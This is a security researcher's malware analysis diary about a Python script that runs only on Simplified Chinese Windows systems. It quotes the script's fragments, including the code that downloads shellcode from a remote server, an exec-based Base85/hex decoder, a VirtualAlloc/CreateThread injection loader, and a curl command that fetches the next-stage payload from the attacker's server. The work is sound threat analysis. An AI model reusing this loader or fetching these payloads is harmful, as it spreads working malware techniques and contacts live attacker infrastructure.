Malicious Python Script Targeting Chinese People
This week I found a lot of interesting scripts as this is my fourth diary in a row! I spotted a Python script that targets Chinese people. The script has a very low VT score (2/56) (SHA256:aaec7f4829445c89237694a654a731ee5a52fae9486b1d2bce5767d1ec30c7fb). How attackers can restricts their surface attack to some regions, countries or people?
The script implements a simple direct API call using the ctypes library:
dll_h = ctypes.windll.kernel32 if (dll_h.GetSystemDefaultUILanguage() != 2052): print(1) #exit(0)
GetSystemDefaultUILanguage()
is a Microsoft API call that returns the system default UI language of the operating system[1]. If the language code is not 2052, the script exits. The valid 2052 correspond to "Simplified Chinese"[2]. Note that the script uploaded to VT was probably still being debugged or developed because exit()
has been commented.
I had a look at the script which decoded a shell code using a Base85 encoding:
global c url = 'hxxp://fileserverhk[.]oss-cn-hongkong[.]aliyuncs[.]com/home/js/js.js' req = urllib.request.Request(url) data = urllib.request.urlopen(req).read() key0 = data[:1] key1 = data[-5:] key2 = data[1:len(data)-5] c = b''.fromhex(key2.replace(key1,key0).decode()) c = base64.b85decode(c)
The shellcode downloads the next stage:
Loaded 348 bytes from file C:\Users\REM\Desktop\c.bin Initialization Complete.. Max Steps: 2000000 Using base offset: 0x401000 4010a2 LoadLibraryA(wininet) 4010b5 InternetOpenA() 4010d1 InternetConnectA(server: adult[.]up-flash[.]com, port: 8443, )
The shellcode is injected using an Base16/Hex/Base85 encoded code:
def decrypt_eval(str): global c s1 = base64.b16decode(str.encode()).decode() s2 = b''.fromhex(s1) s3 = base64.b85decode(s2) exec(s3.decode())
The decoded code is classic:
import ctypes; wiseZERld = ctypes.windll.kernel32.VirtualAlloc(ctypes.c_int(0),ctypes.c_int(len(c)),ctypes.c_int(0x3000),ctypes.c_int(0x40)); ctypes.windll.kernel32.RtlMoveMemory(ctypes.c_int(wiseZERld), c, ctypes.c_int(len(c))); x = ctypes.windll.kernel32.CreateThread(ctypes.c_int(0),ctypes.c_int(0),ctypes.c_int(wiseZERld),ctypes.c_int(0),ctypes.c_int(0),ctypes.pointer(ctypes.c_int(0))); ctypes.windll.kernel32.WaitForSingleObject(ctypes.c_int(x),ctypes.c_int(-1));
You can find more information in the shellcode to generate the complete URL. The URI is readable and a User-Agent. It must be provided to fetch the content otherwise, an error is returned:
curl -o payload.bin -A "Mozilla/5.0 (Windows Phone 10.0; Android 6.0.1; Microsoft; RM-1152) AppleWebKit/537.36 (KHTML, like Gecko)" https://adult.up-flash.com:8443/files/ch.jpg
The payload seems encrypted but I did not find a way to decode it yet. When the payload is executed in a sandbox, it tries to fetch the following URL but a 404 error is returned:
https://adult.up-flash.com:8443/r_config/
There is another behaviour in the Python script and I don't see the purpose of this. Web services are created and binded to the loopback on multiple high-ports:
self.ports = [45990, 44792, 56390, 31590, 32790, 48790, 13080, 25980, 34680, 47980, 51380, 61080]
The webserver just returns a string "c_online_s":
def handler(self, port): ip_port = ('127.0.0.1', port) back_log = 10 buffer_size = 1024 webserver = socket.socket(socket.AF_INET, socket.SOCK_STREAM) webserver.bind(ip_port) webserver.listen(back_log) while True: try: conn, addr = webserver.accept() if port in self.ports: self.init = True recvdata = conn.recv(buffer_size) conn.sendall(bytes("HTTP/1.1 200 OK\r\nAccess-Control-Allow-Origin: *\r\n\r\n", "utf-8")) conn.sendall(bytes("c_online_s", "utf-8")) conn.close() except: pass
I've no idea about the purpose of this. If you have suggestions, please share!
[1] https://docs.microsoft.com/en-us/windows/win32/api/winnls/nf-winnls-getsystemdefaultuilanguage
[2] https://www.autoitscript.com/autoit3/docs/appendix/OSLangCodes.htm
Xavier Mertens (@xme)
Xameco
Senior ISC Handler - Freelance Cyber Security Consultant
PGP Key
Comments